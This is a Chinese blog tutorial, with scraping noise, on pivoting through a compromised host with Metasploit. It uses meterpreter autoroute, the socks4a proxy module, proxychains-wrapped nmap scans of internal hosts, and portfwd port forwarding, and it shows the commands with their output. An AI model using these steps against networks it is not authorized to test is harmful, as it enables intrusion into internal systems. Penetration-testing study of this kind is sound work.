Metasploit使用內網跳板, 掃描局域網主機

   最近,拿到一臺內網機器, 苦於沒法使用nmap掃描改主機的內網, 因此纔有此文html

  在跳板機子獲取必定權限後,須要積極的向內網主機權限發展,獲取指定的目標信息,探查系統漏洞,藉助msf已經獲得的meterpreter後門,可使系列的操做更容易。web

  使用Meterpreter 內置的添加路由功能瀏覽器

  獲取路由信息

run get_local_subnets

  自動添加路由

run post/multi/manage/autoroute
/*
或者使用 run autoroute -s 10.0.0.0 -n 255.0.0.0
-s 參數爲網關 -n 參數爲只掩碼
*/

  查看路由信息

run autoroute -p

  雖然路由表已經添加了, 可是咱們直接ping 內網的主機是無法ping通的ruby

  經過跳板使用NMAP

  爲了實現nmap掃描,metasploit中的路由配置須要被激活,而且須要經過socks4代理進行流量轉發。Metasploit中存在這樣的模塊知足需求。
  使用Metasploit中的socks4代理模塊:網絡

meterpreter > background 
[*] Backgrounding session 2...
msf > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > show options 
Module options (auxiliary/server/socks4a):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.
Auxiliary action:
   Name   Description
   ----   -----------
   Proxy  
msf auxiliary(socks4a) > set srvhost 192.168.1.11
srvhost =>  192.168.1.11
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) > netstat -antp | grep 1080
[*] exec: netstat -antp | grep 1080
tcp        0      172.16.0.20:1080            0.0.0.0:*               LISTEN      3626/ruby       
msf auxiliary(socks4a) >

  使用proxychains 代理轉發

  使用GNU\Linux操做系統內置的ProxyChains工具,任何TCP鏈接都能經過TOR、SCOKS四、SOCKS、HTTP/HTTPS等代理方式進行轉發。在這項隧道技術中,能夠嵌套多層代理。除了提供匿名性之外,如跳板機這樣的利用也能實現向隔離的內部網絡導入流量。session

 

  使用編輯器在文件/etc/proxychains.conf的最後一行加入socks4代理的配置信息。tcp

--- snippet ---
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4  127.0.0.1 9050
socks4  192.168.1.11 1080

  經過proxychains執行nmap掃描是一個簡單的操做。流量包會經過定義的代理端口被導入到目標網絡.編輯器

root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 192.168.100.199ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-12 04:17 EDT
|S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:22-<><>-OK
|S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:80-<><>-OK
|S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:445-<--timeout
|S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:135-<--timeout
|S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:139-<--timeout
|S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:22-<><>-OK
|S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:80-

  能夠看到192.168.100.199開啓了web服務, 咱們直接在瀏覽器中配置firefox代理(192.168.1.11 1080), 直接訪問web服務:工具

 

   

   端口重定向

  此前經過nmap和proxychains,咱們已經發現192.168.100.99的主機時在TCP 80端口運行了web服務。爲了可以訪問這個服務,本地系統的2323端口應該被路由至192.168.100.99的80端口.post

meterpreter > portfwd add -L 192.168.1.11 -l 2323 -p 80 -r 192.168.100.99
[*] Local TCP relay created: 192.168.1.11:2323 <-> 192.168.100.99:80
meterpreter > portfwd

Active Port Forwards
====================

   Index  Local              Remote             Direction
   -----  -----              ------             ---------
   1      192.168.1.11:2323  192.168.100.99:80  Forward

1 total active port forwards.

  總的來講很卡。。。

 

  參考

內網滲透隨想                                  http://www.91ri.org/14390.html

經過雙重跳板漫遊隔離內網            https://xz.aliyun.com/t/249

相關文章
相關標籤/搜索